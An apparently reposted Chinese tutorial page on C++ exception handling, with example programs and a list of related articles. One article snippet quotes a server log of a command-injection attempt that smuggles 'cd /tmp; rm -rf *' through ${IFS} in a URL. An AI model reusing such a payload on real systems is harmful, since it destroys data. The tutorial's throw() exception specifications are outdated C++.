C++回顾(十六)—— 异常处理机制

news2024/9/22 13:23:43

16.1 异常的基本语法

在这里插入图片描述

  • 1) 若有异常则通过throw操作创建一个异常对象并抛掷。
  • 2) 将可能抛出异常的程序段嵌在try块之中。控制通过正常的顺序执行到达try语句,然后执行try块内的保护段。
  • 3) 如果在保护段执行期间没有引起异常,那么跟在try块后的catch子句就不执行。程序从try块后跟随的最后一个catch子句后面的语句继续执行下去。
  • 4) catch子句按其在try块后出现的顺序被检查。匹配的catch子句将捕获并处理异常(或继续抛掷异常)。
  • 5) 如果匹配的处理器未找到,则运行函数terminate将被自动调用,其缺省功能是调用abort终止程序。
  • 6)处理不了的异常,可以在catch的最后一个分支,使用throw语法,向上扔。
  • 7)异常机制与函数机制互不干涉,但捕捉的方式是基于类型匹配。捕捉相当于函数返回类型的匹配,而不是函数参数的匹配,所以捕捉不用考虑一个抛掷中的多种数据类型匹配问题
  • 8)异常捕捉严格按照类型匹配
    在这里插入图片描述
    在这里插入图片描述
    完整示例代码:
#include <iostream>

using namespace std;

int Div(int x, int y)
{
	if (0 == y)
	{
		//return -1;
		//throw 0;        //抛出异常
		throw 'a';
	}

	return x / y;
}

int main()
{
	int a, b;

	cin >> a >> b;

	try { 								//把可能抛出异常的代码放在try语句中
		cout << Div(a, b) << endl;
	}
	catch(int)  // throw 0;
	{
		cout << "zero exception" << endl;
	}
	catch(char)  // throw 'a'
	{
		cout << "char exception" << endl;
	}

	return 0;
}

运行结果:
在这里插入图片描述

16.2 异常处理的基本思想

16.2.1 传统的错误处理机制:通过函数返回值处理错误

例如常见的:return -1;

16.2.2 异常处理思想

  • 1)C++的异常处理机制使得异常的引发和异常的处理不必在同一个函数中,这样底层的函数可以着重解决具体问题,而不必过多的考虑异常的处理。上层调用者可以在适当的位置设计对不同类型异常的处理。
  • 2)异常是专门针对抽象编程中的一系列错误处理的,C++中不能借助函数机制,因为栈结构的本质是先进后出,依次访问,无法进行跳跃,但错误处理的特征却是遇到错误信息就想要转到若干级之上进行重新尝试,如图
    在这里插入图片描述
  • 3)异常超脱于函数机制,决定了其对函数的跨越式回跳。
  • 4)异常跨越函数
    在这里插入图片描述
    完整示例代码:
#include <iostream>

using namespace std;

int DDiv(int x, int y)
{
	if (0 == y)
	{
		throw 0;  // 可以跨越函数,不用在他的上一级语句判断函数返回值
	}
	return x / y;
}

int Div(int x, int y)
{
	/*int ret = DDiv(x, y);
	if (0 == ret)
	{	
	}
	else
	{
	}*/

	return DDiv(x, y);
}

int main()
{
	int a, b;

	cin >> a >> b;

	try{ 								//把可能抛出异常的代码放在try语句中
		cout << Div(a, b) << endl;
	}
	catch(int)
	{
		cout << "zero exception" << endl;
	}
	catch (char)
	{
		cout << "char exception" << endl;
	}

	return 0;
}

运行结果:
在这里插入图片描述

16.3 异常接口声明

  • 1)为了加强程序的可读性,可以在函数声明中列出可能抛出的所有异常类型,例如:
    void func() throw (A, B, C , D); //这个函数func()能够且只能抛出类型A B C D及其子类型的异常

  • 2)如果在函数声明中没有包含异常接口声明,则次函数可以抛掷任何类型的异常,例如:void func();

  • 3)一个不抛掷任何类型异常的函数可以声明为:void func() throw();

  • 4) 如果一个函数抛出了它的异常接口声明所不允许抛出的异常,unexpected函数会被调用,该函数默认行为调用terminate函数中止程序。
    在这里插入图片描述
    在这里插入图片描述
    完整示例代码:

#include <iostream>

using namespace std;

int Div(int x, int y) throw(int, char);   //只能抛出整形或者字符型异常
//int Div(int x, int y) throw();          //不会抛出任何类型异常
//int Div(int x, int y);                  //可能抛出任何类型的异常

int main()
{
	int a, b;

	cin >> a >> b;

	try{ 								//把可能抛出异常的代码放在try语句中
		cout << Div(a, b) << endl;
	}
	catch(int)
	{
		cout << "zero exception" << endl;
	}
	catch (char)
	{
		cout << "char exception" << endl;
	}

	return 0;
}

int Div(int x, int y) throw(int, char)
{
	if (0 == y)
	{
		//return -1;
		//throw 0;        //抛出异常
		throw 'a';
	}

	return x / y;
}

运行结果:
在这里插入图片描述

16.4 异常类型和异常变量的生命周期

16.4.1 传统处理错误

16.4.2 throw int类型异常

16.4.3 throw字符类型异常

16.4.4 throw类对象类型异常

在这里插入图片描述
在这里插入图片描述
完整示例代码:

#include <iostream>

using namespace std;

class Test
{
public:
	Test()
	{	
		cout << "Test构造函数" << endl;
	}
	Test(const Test &t)
	{
		cout << "Test拷贝构造函数" << endl;
	}
	void print()
	{
		cout << "Test Exceotion" << endl;
	}
	~Test()
	{
		cout << "Test析构函数" << endl;
	}
};

int Div(int x, int y)
{
	if (0 == y)
	{
		throw Test();    //抛出对象
		//throw new Test;    //抛出对象指针
	}

	return x / y;
}

int main()
{
	int a, b;

	cin >> a >> b;

	try{ 								//把可能抛出异常的代码放在try语句中
		cout << Div(a, b) << endl;
	}
	catch(int)
	{
		cout << "zero exception" << endl;
	}
	catch (char)
	{
		cout << "char exception" << endl;
	}
	/*catch (Test t)   //调用拷贝构造函数
	{
		t.print();
	}*/
	catch (Test &t)   //抛出对象,通过引用来接(推荐)
	{	
		t.print();
	}
	catch (Test *t)
	{
		t->print();
		delete t;   //需要手动释放
	}

	return 0;
}

运行结果:
在这里插入图片描述

16.5 标准程序库异常

在这里插入图片描述
在这里插入图片描述
示例代码:

#include <iostream>
#include <exception>

using namespace std;

int main()
{
	try{
		int *p = new int[-1];
	}
	catch (exception &e)
	{
		cout << e.what() << endl;
	}

	return 0;
}

运行结果:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/401179.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

dark.x86病毒新变种

病毒行为类似https://www.cnblogs.com/wangbingbing/p/15319257.html依然是来自俄罗斯莫斯科的病毒。旧病毒换了个伪装程序查服务器nginx日志发现一个异常请求170.254.229.130 - - [09/Mar/2023:07:19:08 0800] "GET /bin/zhttpd/${IFS}cd${IFS}/tmp;rm${IFS}-rf${IFS}*;$…

4个顶级的华为/小米/OPPO/Vivo手机屏幕解锁工具软件

有好几次用户发现自己被锁定在他们的华为/小米/OPPO/Vivo设备之外&#xff0c;我们知道这可能是一种非常可怕的体验。在这种情况下&#xff0c;找到安卓手机解锁软件&#xff0c;重新获得手机中重要数据和文件的访问权限。看看这篇文章&#xff0c;因为我们将与您分享什么是解锁…

DML 添加、修改、删除数据

目录 DML 一、添加数据 1、给指定字段添加数据 2、给全部字段添加数据 3、批量添加数据 二、修改数据 三、删除数据 DML DML英文全称是Data Manipulation Language(数据操作语言)&#xff0c;用来对数据库中表的数据记录进行增、删、改操作。 一、添加数据 1、给指定字…

中国人民大学与加拿大女王大学金融硕士——沉淀自己是最好的升华

三毛曾说过&#xff1a;“给自己时间&#xff0c;不要焦虑&#xff0c;一步一步来&#xff0c;一日一日过&#xff0c;请相信生命的韧性是惊人的&#xff0c;跟自己的心去合作&#xff0c;不要放弃对自己的爱护”。当你的能力还驾驭不了你的目标时&#xff0c;你就应该沉下心来…

如何配置用于构建 FastReport Online Designer 的 API ?

FastReport Online Designer 是一个跨平台的报表设计器&#xff0c;允许通过任何平台的移动设备创建和编辑报表。今天我们就一起来看看在2023版中新增和改进的功能有哪些&#xff0c;点击下方可以获取最新版免费试用哦&#xff01; FastReport Onlin Designe最新版试用https:/…

市场营销的核心是什么?

之所以写下「市场营销的核心是什么&#xff1f;」这篇文章&#xff0c;是因为这几天刚读完了《经理人参阅&#xff1a;市场营销》这本书。作为一个有着近十年工作经验的市场营销从业人员&#xff0c;看完这本书也产生了很多新的想法&#xff0c;也想记录一下&#xff0c;遂成此…

Idea+maven+spring-cloud项目搭建系列--11-2 dubbo鉴权日志记录数据统一封装

前言&#xff1a;使用dubbo做为通信组件&#xff0c;如果接口需要鉴权&#xff0c;和日志记录需要怎样处理&#xff1b; 1 鉴权&#xff1a; 1.1 在bootstrap.yml 中定义过滤器&#xff1a; dubbo.provider.filter: 过滤器的名字&#xff1a; 1.2 resources 目录下创建配置文…

随笔:车辆游戏功能开发-思路

目录1 博客内容2 PS4pro3 功能开发1 博客内容 年初朋友聊天谈到车辆增加G&#xff08;Game&#xff09;挡位&#xff0c;适配泛娱乐化功能。均非该领域人员&#xff0c;上月他也离开去无锡&#xff0c;同时该功能涉及悬架、座椅、HUT、音响、转向、线控底盘等多专业人员&#x…

深信服校园招聘安全攻防F卷

1.请尽可能列举你知道的网站未能正确使用图片验证码机制的情况&#xff0c;以及如何绕过其限制&#xff1f; - 图形验证码的内容可OCR识别 - 多阶段的过程&#xff0c;先校验验证码&#xff0c;成功之后的下一步不需要验证码&#xff0c;可以直接抓包&#xff0c;跳过第一步的验…

小诺开源技术

小诺开源技术 文章目录小诺开源技术前言页面演示介绍文档学习建议登录地址下载地址前言 近期接触了小诺开源技术的一个前端框架&#xff0c;底层是蚂蚁框架&#xff0c;感觉很好用&#xff0c;不过需要稍微学习并适应一下&#xff0c;推荐给大家&#xff0c;本篇仅用于学习&am…

人员摔倒识别预警算法 opencv

人员摔倒识别预警算法通过opencv网络模型技术&#xff0c;人员摔倒识别预警算法能够智能检测现场画面中人员有没有摔倒&#xff0c;无需人为干预可以立刻抓拍告警。OpenCV的全称是Open Source Computer Vision Library&#xff0c;是一个跨平台的计算机视觉处理开源软件库&…

C#:Krypton控件使用方法详解(第十四讲) ——kryptonSeparator

今天介绍的Krypton控件中的kryptonSeparator。下面介绍控件的外观属性如下图所示&#xff1a;Cursor属性&#xff1a;表示鼠标移动过该控件的时候&#xff0c;鼠标显示的形状。属性值如下图所示&#xff1a;DrawMoveIndicator属性&#xff1a;表示确定移动分隔符时是否绘制移动…

要不做一名 Prompt Engineer

文章目录1. 什么是 Prompt Engineer2. 如何成为 Prompt Engineer3. Prompt Engineer 需要具备哪些技能4. Prompt Egnineer 适合什么工作岗位5. Prompt Egnineer 未来的发展趋势&#xff1f;6. 哪些公司正在招聘 Prompt Egineer7. Prompt Engineer 必备的20个工具8. Prompt Engi…

SOLIDWORKS免费培训 SW大型装配体模式课程

在SOLIDWORKS的使用过程中&#xff0c;大家经常会遇到大型装配体的处理问题&#xff0c;微辰三维的培训课程中也包含了一些大型装配体的技术培训&#xff0c;下面整理一些常见问题&#xff0c;供参考&#xff1a;大型装配体模式1.当我们打开一个大的装配体时&#xff0c;可能会…

量化派递交上市申请,数字经济风口上开启“狂飙”模式

今年全国两会&#xff0c;代表委员们纷纷围绕“中小企业数字化转型”建言献策。如全国政协委员、甘肃省工业和信息化厅副厅长黄宝荣建议&#xff0c;在工业领域加快数字经济立法&#xff0c;支撑中小企业数字化转型&#xff1b;全国政协委员、中国财政科学研究院院长刘尚希建议…

智能移动出行带来更美好的未来——美国智能交通协会交通政策(附下载)

美国智能交通协会&#xff08;ITS America&#xff09;是美国交通系统技术现代化的国家主要倡导者&#xff0c;专注于推进智能交通技术的研究和部署。美国智能交通协会是美国交通部道路技术的官方咨询委员会&#xff0c;代表州和城市交通部门&#xff0c;运输部门&#xff0c;大…

佩戴舒适的蓝牙耳机品牌有哪些?不伤耳朵的蓝牙耳机推荐

现在不少人都离不开耳机吧&#xff1f;但什么样的耳机才是安全的、不伤耳的&#xff1f;更多的人看重耳机的重量&#xff0c;但是否贴合耳廓也是十分重要的&#xff0c;下面整理了几款当前热销佩戴舒适的蓝牙耳机&#xff0c;可供大家选购参考。 第一款&#xff1a;南卡小音舱蓝…

通达信捉妖改良CCI指标公式,简洁巧妙

高端的食材&#xff0c;往往只需要简单的烹饪方式。好的指标也是一样&#xff0c;只需要简单处理&#xff0c;就可以实现不错的效果。捉妖改良CCI指标公式属于意外之喜&#xff0c;编写指标时写错了&#xff0c;研究后发现结果比原想法更好。 捉妖改良CCI指标公式利用了CCI&am…

Python每日一练(20230310)

目录 1. 爬楼梯 ★ 2. 删除无效的括号 ★★★ 3. 给表达式添加运算符 ★★★ &#x1f31f; 每日一练刷题专栏 C/C 每日一练 ​专栏 Python 每日一练 专栏 1. 爬楼梯 假设你正在爬楼梯。需要 n 阶你才能到达楼顶。 每次你可以爬 1 或 2 个台阶。你有多少种不同的方…

分隔链表(精美图示详解哦)

全文目录引言分隔链表题目描述与思路实现总结引言 前面&#xff0c;我们熟悉了管理链表中的数据的方法&#xff0c;也了解了几道与链表相关的题目&#xff1a; 戳我看单链表详解哦 在本篇文章中&#xff0c;我们将再了解一道题目&#xff1a;分隔链表&#xff1a; 分隔链表OJ…